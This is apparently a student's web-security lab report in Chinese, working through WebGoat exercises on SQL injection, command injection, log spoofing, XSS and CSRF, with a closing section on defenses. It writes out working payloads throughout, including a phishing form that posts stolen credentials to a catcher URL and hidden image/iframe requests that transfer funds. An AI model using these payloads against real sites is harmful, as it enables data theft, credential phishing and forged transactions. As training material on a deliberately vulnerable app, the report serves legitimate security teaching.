2019-2020-2 网络对抗技术 20175306王佳烁 Exp9 Web安全基础
一、实验任务
(一)实验目标
理解常用网络攻击技术的基本原理
(二)实验内容
1.安装WebGoat
2.SQL注入攻击
3.XSS攻击
4.CSRF攻击
二、实验步骤
任务一:WebGoat
Webgoat是OWASP组织研究出的一个专门进行web漏洞实验的应用品台,这个平台里包含了web中常见的各种漏洞,例如:跨站脚本攻击、sql注入、访问控制、隐藏字段、Cookie等;
1、下载webgoat-container-7.0.1-war-exec.jar文件
- 下载地址为:->https://github.com/WebGoat/WebGoat/releases/tag/7.0.1 ,在最下面的“The OWASP WebGoat 7.0.1 Release”中,选择webgoat-container-7.0.1-war-exec.jar文件进行下载
2、因WebGoat默认使用8080端口,所以开启前先用netstat -tupln | grep 8080
查看端口是否被占用,如果被占用,用kill 进程号
终止占用8080端口的进程。
3、普通安装,需要在含有“webgoat-container-7.0.1-war-exec.jar”文件的目录下执行java -jar webgoat-container-7.0.1-war-exec.jar
4、浏览器打开WebGoat
-
在浏览器中输入
http://localhost:8080/WebGoat
进入WebGoat登录界面 -
直接用默认用户名密码登录即可;
-
登录成功会进入如下界面,左侧为课程栏,点击可以看到课题的原理和目标,按要求完成相应练习
-
在成功配置完jdk后,重新登陆界面变为:
任务二:SQL注入攻击(Injection Flaws)
SQL注入攻击是黑客对数据库进行攻击的常用手段之一。随着B/S模式应用开发的发展,使用这种模式编写应用程序的程序员也越来越多。但是由于程序员的水平及经验也参差不齐,相当大一部分程序员在编写代码的时候,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码,根据程序返回的结果,获得某些他想得知的数据,这就是所谓的SQL Injection,即SQL注入。
命令注入(Command Injection)
1、概念:命令注入攻击对任何一个以参数驱动的站点来说都是一个严重威胁。这种攻击技术背后的技术方法,简单易学,能造成大范围的损害,危及系统安全。尽管这类风险数目令人难以置信,互联网中的系统很容易受到这种形式的攻击。
2、原理:在正常的参数提交过程中添加恶意代码以执行某条指令。
3、目标:可以在目标主机上执行任何系统命令
4、操作方法:
-
右键点击页面,选择
inspect Element
审查网页元素对源代码进行修改 -
在复选框中任意一栏的代码,右键单击后,选择
Edit As Html
进行修改,添加"& netstat -an & ipconfig"
-
点击
view
,可以看到执行指令后的网络端口使用情况和IP地址。攻击成功!
数字型注入(Numeric SQL Injection)
1、概念:注入数字型数据(如:永真式)达到注入的效果。
2、原理:在station字段中注入特征字符,组合成新的SQL语句。
如: SELECT * FROM weather_data WHERE station = [station]
3、目标:该例子通过注入SQL字符串查看所有的天气数据。
4、操作方法:
-
右键点击页面,选择
inspect Element
审查网页元素对源代码进行修改
(未攻击前)
-
在选中的城市编号Value值中添加
or 1=1
显示所有城市的天气情况,攻击成功!
日志欺骗(Log Spoofing)
1、概念:通过在日志文件中插入脚本实现欺骗。
2、原理:在日志文件中愚弄人的眼睛,攻击者可以利用这种方式清除他们在日志中的痕迹
3、目标:灰色区域代表在 Web 服务器的日志中的记录的内容,我们的目的是使用户名为“admin”的用户在日志中显示“成功登录”
4、操作方法:
-
前提:本题目接受用户输入的任何一个用户名,并将其追加到日志文件中。
-
利用回车(0D%)和换行符(%0A),在 username 中填入
wjs%0d%0aLogin Succeeded for username: admin
,利用回车(0D%)和换行符(%0A)让其在日志中两行显示 -
点击Login,可见wjs在Login Fail那行显示,我们自己添加的语句在下一行显示:
-
进而可以想到,可以向日志文件中添加恶意脚本,脚本的返回信息管理员能够通过浏览器看到。
-
用户名输入
admin <script>alert(document.cookie)</script>
,管理员可以看到弹窗的cookie信息。
SQL 注入(LAB: SQL Injection)
Stage 1:字符串型注入(Stage 1: String SQL Injection)
1、原理:通过注入字符串绕过认证
2、操作方法: -
右键点击页面,选择
inspect Element
审查网页元素对源代码进行修改 -
将password密码框的最大长度限制改为18
-
以用户
Neville(admin)
登录,输入密码hello' or '1' = '1
Stage 3: 数字型 SQL 注入(Stage 3: Numeric SQL Injection)
1、原理:通过注入数字型数据,绕过认证,可以通过普通员工的账户,查看到BOSS的用户信息。
2、操作方法:
-
使用用户名
Larry
,密码larry
点击login
登录,点击ViewProfile
查看用户信息
-
右键点击页面,选择inspect Element审查网页元素源代码,我们可以看到数据库索引的依据是员工ID,推测返回的是每次查询到的第一条数据。
-
用社会工程学解释老板应该是工资最高的,所以将员工ID的value改成
101 or 1=1 order by salary desc
,使得老板的信息作为查询到的第一条数据。
-
得到老板的账户信息,攻击成功!(注意在larry登陆状态下,改html,然后查询)
字符串注入(String SQL Injection)
1、概念:通过注入字符串绕过认证
2、原理:基于以下查询语句构造自己的 SQL 注入字符串。
SELECT * FROM user_data WHERE last_name = '?'
3、目的:尝试通过 SQL 注入将所有信用卡信息显示出来。
4、操作方法:
-
正常情况下只能查询到用户名对应的信用卡号码
-
输入查询的用户名
Smith' or 1=1--
,这样Smith 和1=1都成了查询的条件,而1=1是恒等式,这样就能select表里面的所有数据 -
得到所有用户的信用卡号码,攻击成功!
数字型盲注入(Blind Numeric SQL Injection)
1、原理:某些 SQL 注入是没有明确返回信息的,只能通过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语。
2、目标:该题目允许输入一个帐号,并检测该帐号是否合法。使用该表单的返回信息(真或假)测试检查数据库中其它条目信息。我们找到 pins 表中 cc_number 字段值为 1111222233334444 的记录中 pin 字段的数值。pin 字段类型为 int,整型。输入找到的数值并提交,通过该题目。
3、操作方法:
-
本题目中,服务端页面返回的信息只有两种:帐号有效或无效。因此无法简单地查询到帐号的PIN数值。但我们可以利用系统后台在用的查询语句
SELECT * FROM user_data WHERE userid=accountNumber;
-
如果该查询语句返回了帐号的信息,页面将提示帐号有效,否则提示无效。使用 AND 函数,我们可以添加一些额外的查询条件。如果该查询条件同样为真,则返回结果应提示帐号有效,否则无效。
-
例如:输入查询语句
101 AND 1=1
,因为两个条件都成立,所以页面返回帐号有效
-
输入查询语句
101 AND 1=2
,因为第二个条件不成立,所以而页面返回帐号无效
-
针对查询语句的后半部分构造复杂语句,如:
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 5000 )
-
如果提示无效,则pin值小于5000,使用二分法,最终得出pin的值为2364
字符串型盲注入(Blind String SQL Injection)
1、原理:与数字型盲注入类似,某些 SQL 注入是没有明确返回信息的,只能通过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语。
2、目标:找到 pins 表中 cc_number 字段值为 4321432143214321 的记录中 pin 字段的数值。pin 字段类型为 varchar。输入找到的数值(最终的字符串,注意拼写和大写)并提交,通过本题目。
3、操作方法:
- 与数字型盲注入类似,只是将注入的数字换为字符串而已
- 例如:输入
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'M' )
取得 pin 字段数值的第一个字母,并判断其是否比字母“M”小 - SUBSTRING 语法为 SUBSTRING(STRING,START,LENGTH)
- 同样使用二分法进行测试,最后得到pin字段为Jill
任务三:XSS攻击
跨站脚本攻击是通过HTML注入劫持用户的浏览器,任意构造用户当前浏览的HTML内容,可以模拟用户当前的操作。这里实验的是一种获取用户名和密码的攻击。
XSS 钓鱼(Phishing with XSS)
1、原理:当用户输入非法HTTP响应时容易受到XSS攻击。在XSS的帮助下,可以实现钓鱼工具或向某些官方页面中增加内容。对于受害者来说很难发现该内容是否存在威胁。
2、目标:创建一个 form,要求填写用户名和密码。将数据提交到
http://localhost/WebGoat/catche r?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam
3、操作方法:
- 利用XSS可以在已存在的页面中进一步添加元素,包括两部分:
- 受害人填写一个表格;
- 服务器以读取脚本的形式,将收集到的信息发送给攻击者。
- 编写一段脚本读取被攻击者在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的 WebGoat
- 编写一个带用户名和密码输入框的表格
- 将下面这段代码输入到"Search:"输入框中,点击search;结果会出现代码中所指定的绿、红、蓝三块div,并在下方出现了用于欺骗用户的提示语“This feature requires account login:”和用户名、密码输入框。
<head>
<body>
<div>
<div style="float:left;height:100px;50%;background-color:green;"></div>
<div style="float:left;height:100px;50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
</div></div>
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>
- 如果真的在登录框中输入用户名、密码,例如:20175306 20175306,点击登录后,会像代码中alert提示的,显示被窃取的用户名和密码。
存储型XSS攻击(Stored XSS Attacks)
1、原理:这种攻击常见于论坛等留言平台,用户留言的时候输入一段JavaScript脚本,这段脚本就会被保存在数据库中。因为是留言,所以任何用户在打开网页的时候,这个脚本就会被从数据库中取出来而运行。
2、目标:写入非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容
3、攻击:
- 通过javascript获取用户的cookie,根据这个cookie窃取用户信息
- 重定向网站到一个钓鱼网站
- 重新更改页面内容,假装让客户输入用户名,密码,然后提交到黑客的服务器
4、操作方法: - 在title中任意输入字符,留言板中输入
<head>
<body>
<div>
<div style="float:left;height:100px;50%;background-color:green;"></div>
<div style="float:left;height:100px;50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
</div></div>
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>
-
提交后,下方
“Message List”
中会新增刚输入的Tile
名字的链接,点击链接。
-
可以看到我们的html已经注入成功,messege部分显示的是绿、红、蓝三色框
-
在下方用户名密码处输入,例如:20175306 20175306,点击提交后,被成功获取用户名和密码
反射型XSS攻击(Reflected XSS Attacks)
1、原理:
-
我们在访问一个网页的时候,在URL后面加上参数,服务器根据请求的参数值构造不同的HTML返回。
-
value可能出现在返回的HTML(可能是JS,HTML某元素的内容或者属性)中,如果将value改成可以在浏览器中被解释执行的东西,就形成了反射型XSS。
-
别人可能修改这个value值,然后将这个恶意的URL发送给你,当URL地址被打开时,特有的恶意代码参数就会被HTML解析执行。
-
它的特点是非持久化,必须用户点击带有特定参数的链接才能引起。
2、存储型XSS与反射型XSS的区别: -
存储型XSS,持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie等。
-
反射型XSS,非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。
3、目标:使用攻击脚本创建URL,并将其写入网站中,当读取到该URL的时候就会被攻击
4、操作方法: -
输入代码
<script>alert("You've been attacked!!! I'm 20175306wjs");</script>
-
点击purse,成功显示警告框,内容为我们script脚本指定的内容:
-
假如我们输入前面编写的脚本,原理相同,同样会成功:
任务四:CSRF攻击
跨站请求伪造,尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。
跨站请求伪造(Cross Site Request Forgery (CSRF))
1、原理:跨站请求伪造是一种让受害者加载一个包含网页的图片的一种攻击手段。如:,当受害者的浏览器试图呈现此页面时,它将使用指定的参数向www.mybank.com的“me”端点发出请求。浏览器将请求链接以获得图像,即使它实际上是一个资金转移功能。提交请求时,浏览器将添加与站点相关的所有cookie。因此,如果用户对站点进行了身份验证,并且拥有永久或当前会话cookie,那么站点将无法将其与合法的用户请求区分开来。通过这种方式,攻击者可以让受害者执行他们不打算执行的操作,比如“购买物品”,或者脆弱网站提供的任何其他功能。
2、目标:向新闻组发送一封email。这个email包含一个image,其URL指向一个恶意请求。URL应该指向“攻击”servlet,其中包含“屏幕”和“菜单”参数,以及一个额外的参数“transferFunds”,其数值为5000。可以通过在右侧插入的参数中找到“Screen”和“menu”值来构造链接。当经过身份验证的CSRF电子邮件的收件人将被转移他们的资金。
3、操作方法:
- 查看页面右侧Parameters中的src和menu值,分别为2078372和900
- 在title中输入任何参数,message框中输入
<img src="http://localhost:8080/WebGoat/attack?Screen=2078372&menu=900&transferFunds=5000" width="1" height="1" />
- 以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击Submit提交
- 这里src值、menu值要根据上一步查看的结果修改,转账数额随便输入,eg:5000
- 宽高设置成1像素的目的是隐藏该图片
绕过 CSRF 确认( CSRF Prompt By‐Pass)
1、原理:跨站点请求伪造(CSRF/XSRF)是一种攻击,它欺骗受害者加载包含“伪造请求”的页面,以便使用受害者的凭据执行命令。提示用户确认或取消命令可能听起来像一个解决方案,但如果提示符是可编写脚本的,则可以忽略它。本课展示如何通过发出另一个伪造的请求来绕过这样的提示符。这也适用于一系列提示,例如向导或发出多个不相关的伪造请求。
2、目标:与上一个题目类似,向包含多个恶意请求的新闻组发送电子邮件:第一个请求用于转移资金,第二个请求用于确认第一个请求触发的提示符。url应该指向攻击servlet,其中包含这个CSRF-prompt-by-pass课程的屏幕、菜单参数和一个额外的参数“transferFunds”,其中包含一个数值“5000”来启动传输,一个字符串值“CONFIRM”来完成传输。您可以从右边的插图中复制课程的参数,创建格式为attack?Screen=XXX&menu=YYY&transferFunds=ZZZ
的url。无论谁收到这封电子邮件,并且碰巧在那个时候通过了身份验证,他的资金就会被转移。
3、操作方法:
- 同上一个攻击,查看页面下侧Parameters中的src和menu值(1471017872和900),并在title框中输入学号,message框中输入代码:
<iframe src="attack?Screen=1471017872&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=1471017872&menu=900&transferFunds=CONFIRM"> </iframe>
- 在Message List中生成以Title命名的链接"20175306"
- 点击进入后,如图攻击成功:
三、实验中遇到的问题及解决方法
- 浏览器打开webGoat后左边没有选项栏,因为编译后的java程序与kali上的java Se版本不一致,所以需要安装对应的JDK。因此需要先安装对应版本的JDK,再安装webGoat哦。
- 请参考:->https://www.cnblogs.com/orii/p/12919206.html
四、基础问题回答
1、SQL注入攻击原理,如何防御
- 原理:
- SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令;
- 利用是指利用设计上的漏洞,在目标服务器上运行Sql语句以及进行其他方式的攻击,动态生成Sql语句时没有对用户输入的数据进行验证是Sql注入攻击得逞的主要原因;
- 通过在用户名、密码登输入框中输入一些
',--,#
等特殊字符,实现引号闭合、注释部分SQL语句,利用永真式实现登录、显示信息等目的。其实就是输入框中的字符提交到后台的数据库中会与SQL语句组合拼接,如果猜测出后台的SQL语句格式,然后有针对性的输入,就可以达到相应目的。
- 防御
- 可以在后台控制输入的长度或者禁止用户输入一些特殊符号,例如
-- 、'
等; - 对漏洞注入点相关代码进行关键字的过滤(如:利用正则表达式),以规范代码安全性。
- 可以在后台控制输入的长度或者禁止用户输入一些特殊符号,例如
2、XSS攻击的原理,如何防御
- 原理:
- 攻击者往Web页面里插入恶意html标签或者javascript代码,当用户浏览该页或者进行某些操作时,攻击者利用用户对原网站的信任,诱骗用户或浏览器执行一些不安全的操作或者向其它网站提交用户的私密信息。
- 防御:
- 当恶意代码值被作为某一标签的内容显示:在不需要html输入的地方对html 标签及一些特殊字符( ” < > & 等等 )做过滤,将其转化为不被浏览器解释执行的字符。
- 当恶意代码被作为某一标签的属性显示,通过用 “将属性截断来开辟新的属性或恶意方法:属性本身存在的 单引号和双引号都需要进行转码;对用户输入的html 标签及标签属性做白名单过滤,也可以对一些存在漏洞的标签和属性进行专门过滤。
3、CSRF攻击原理,如何防御
- 原理:
- CSRF攻击是通过让一个已授权的用户的浏览器向应用发起一个恶意请求(用户尚不知情的情况)。只要用户的身份已被验证过且实际的请求已经通过用户的浏览器发送到目标应用,应用无法知道情况的来源是否是一个有效的交易或者这个用户是在知情的情况下点击这个链接。通过CSRF攻击,攻击者可以让受害者执行一些他们不知情的操作,比如购买操作,改变账户信息或者其它目标攻击应用提供的服务。
- 防护:
- 尽量使用post,限制get
get接口太容易被拿来做CSRF攻击,接口最好限制为post使用,get则无效,降低攻击风险。当然post并不是万无一失,攻击者只要构造一个form就可以,但需要在第三方页面做,这样就增加暴露的可能性。 - 添加校验token
由于CSRF的本质在于攻击者欺骗用户去访问自己设置的地址,所以如果在访问敏感数据请求时,要求用户浏览器提供不保存在cookie,因此攻击者无法伪造的数据作为校验,那么攻击者就无法再运行CSRF攻击。 - 检查Referer字段
CSRF伪造的请求与用户正常的请求相比最大的区别就是请求头中的Referer值不同,我们可以根据这点来防御CSRF。在接收请求的服务端判断请求的Referer头是否为正常的发送请求的页面,如果不是,则进行拦截。 - 使用验证码
验证码强制用户必须与应用进行交互,才能完成最终请求。在通常情况下,验证码能很好遏制CSRF攻击。但是出于用户体验考虑,网站不能给所有的操作都加上验证码。因此验证码只能作为一种辅助手段,不能作为主要解决方案。
- 尽量使用post,限制get
五、实验感想
本次实验是本学期的最后一次实验,总结一下这九次实验,确实让我学到了很多,接触了很多攻击方法,增加了自己的动手能力。通过本次实验,将知识体系清晰化,分清了SQL注入攻击、XSS跨站脚本攻击、CSRF跨站请求伪造攻击。本次实验整体比较顺利,就是配置jdk的时候遇到了一些问题,但是也都轻松解决了。完美下班!